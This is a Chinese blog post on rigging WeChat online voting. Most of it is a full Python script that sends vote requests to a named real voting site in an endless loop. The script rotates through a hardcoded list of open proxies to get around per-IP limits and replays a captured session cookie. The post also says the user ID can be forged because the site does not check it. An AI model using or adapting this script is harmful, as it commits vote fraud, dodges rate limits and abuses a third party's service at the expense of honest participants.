这篇文章真的有很多人看吗?帮忙留言一下。
在微信有很多的投票活动,一般这种投票活动都是可以靠“刷”增量的,而且你可以看到那些票数高到离谱但是并不好玩的投票活动,里面肯定是掺杂着刷票行为的,对于技术大神可能轻易就能搞定(12306他们都能搞定),对我这种小菜鸟还是花了不少时间问了不少人才有一点眉目的。
先说一下刷票的思路,为了模拟完整正确的投票行为,我们先用fiddler这种工具去抓取http包;然后我再把协议头放进postman这种工具帮我生成Python脚本代码,然后再在电脑上循环投票。
最后的代码大概是这种的:
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests import time import random url = "http://wx.nxzhly.com/VoteBefore6/SubmitMyAttend" payload = "hidOptionId=1427&hidMid=37&hidMaid=287&hidOpenId=og_EH1eOB17t0uO1Zk703WW2eIoo&lianheMarid=0&lianheMid=0&X-Requested-With=XMLHttpRequest" headers = { 'host': "wx.nxzhly.com", 'connection': "keep-alive", 'content-length': "135", 'accept': "*/*", 'origin': "http://wx.nxzhly.com", 'x-requested-with': "XMLHttpRequest", 'user-agent': "Mozilla/5.0 (Linux; Android 6.0.1; SM901 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043409 Safari/537.36 MicroMessenger/6.5.8.1060 NetType/WIFI Language/zh_CN", 'content-type': "application/x-www-form-urlencoded; charset=UTF-8", 'referer': "http://wx.nxzhly.com/VoteBefore6/Details?Id=1405&OpenId=og_EH1eOB17t0uO1Zk703WW2eIwo&lianheMid=0&lianheMarid=0&isappinstalled=2&from=timeline", 'accept-encoding': "gzip, deflate", 'accept-language': "zh-CN,en-US;q=0.8", 'cookie': "ASP.NET_SessionId=zzssujuxzco2dkgzuwwuszhj; CookieNewsM37=openid=og_EH1eOB17t0uO1Zk703WW2eIwo&isappinstalled=0", 'cache-control': "no-cache", 'postman-token': "5bfcc670-6d24-7804-ebfd-4e8c906f1376" } ip_list = [ '35.162.238.140:3128', '101.231.46.34:8000', '192.210.198.149:1080', '212.219.197.249:8080', '119.226.14.46:80', '212.90.167.90:53281', '94.182.197.102:8081', '181.112.221.182:53281', '198.50.219.239:3128', '201.38.93.179:3128', '192.210.198.152:1080', '177.155.100.6:8080', '27.109.117.72:53281', '107.173.46.34:1080', '182.253.197.235:8080', '68.185.106.196:80', '107.173.46.42:1080', '14.215.115.197:3128', '58.83.218.186:80', '180.148.33.29:80', '189.85.25.150:53281', '112.225.117.207:8998', '5.196.68.47:3128', '183.62.71.242:3128', '176.126.245.23:3128', '200.137.226.3:3128', '216.100.88.229:8080', '144.217.197.71:8080', '46.10.229.152:53281', '208.92.94.143:1080' ] random_num = random.randint( 0, len( ip_list ) - 1 ) proxies = { "http": ip_list[random_num], "https": ip_list[random_num] } i = 0 while True: i = i + 1 print i if i % 3 == 0: random_num = random.randint( 0, len( ip_list ) - 1 ) proxies = { "http": ip_list[random_num], "https": ip_list[random_num] } try: response = requests.request("POST", url, data=payload, headers=headers, proxies=proxies, timeout=10) except Exception as e: print 'error' else: print response.content finally: pass time.sleep(1)
其中有两个难点,一个是需要大量的代理IP,一个是不同的hidOpenId。
怎么解决代理IP的问题
使用阿布云,我没有用过,是朋友的推荐,他是数据分析大牛,肯定信得过。
怎么解决hidOpenId的问题
这个id值好像可以自己随意伪造,虽然是代表唯一的微信用户,但是投票网站并不能验证这个值的真伪。
欢迎留言和我一起探讨